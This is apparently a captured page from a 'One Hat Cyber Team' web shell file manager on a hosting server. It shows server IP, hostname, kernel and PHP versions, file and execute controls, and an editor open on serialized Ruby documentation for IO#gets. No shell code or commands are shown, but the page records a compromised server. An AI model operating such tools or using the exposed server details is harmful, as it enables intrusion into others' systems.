⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
IO
/
Edit File: gets-i.ri
U:RDoc::AnyMethod[iI" gets:ETI"IO#gets;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"IReads the next ``line'' from the I/O stream; lines are separated by ;TI"7<i>sep</i>. A separator of +nil+ reads the entire ;TI"Jcontents, and a zero-length separator reads the input a paragraph at ;TI"Ha time (two successive newlines in the input separate paragraphs). ;TI"IThe stream must be opened for reading or an IOError will be raised. ;TI"<The line read in will be returned and also assigned to ;TI"F<code>$_</code>. Returns +nil+ if called at end of file. If the ;TI"Ifirst argument is an integer, or optional second argument is given, ;TI"Fthe returning string would not be longer than the given value in ;TI"bytes.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [ I":File.new("testfile").gets #=> "This is line one\n" ;TI":$_ #=> "This is line one\n" ;TI" ;TI",File.new("testfile").gets(4)#=> "This" ;T:@format0o; ; [I"HIf IO contains multibyte characters byte then <code>gets(1)</code> ;TI" returns character entirely:;T@o;; [I"'# Russian characters take 2 bytes ;TI"3File.write("testfile", "\u{442 435 441 442}") ;TI"7File.open("testfile") {|f|f.gets(1)} #=> "\u0442" ;TI"7File.open("testfile") {|f|f.gets(2)} #=> "\u0442" ;TI"=File.open("testfile") {|f|f.gets(3)} #=> "\u0442\u0435" ;TI"<File.open("testfile") {|f|f.gets(4)} #=> "\u0442\u0435";T; 0: @fileI" io.c;T:0@omit_headings_from_table_of_contents_below0I"�ios.gets(sep=$/ [, getline_args]) -> string or nil ios.gets(limit [, getline_args]) -> string or nil ios.gets(sep, limit [, getline_args]) -> string or nil ;T0[ I"(*args);T@*FI"IO;TcRDoc::NormalClass00
Simpan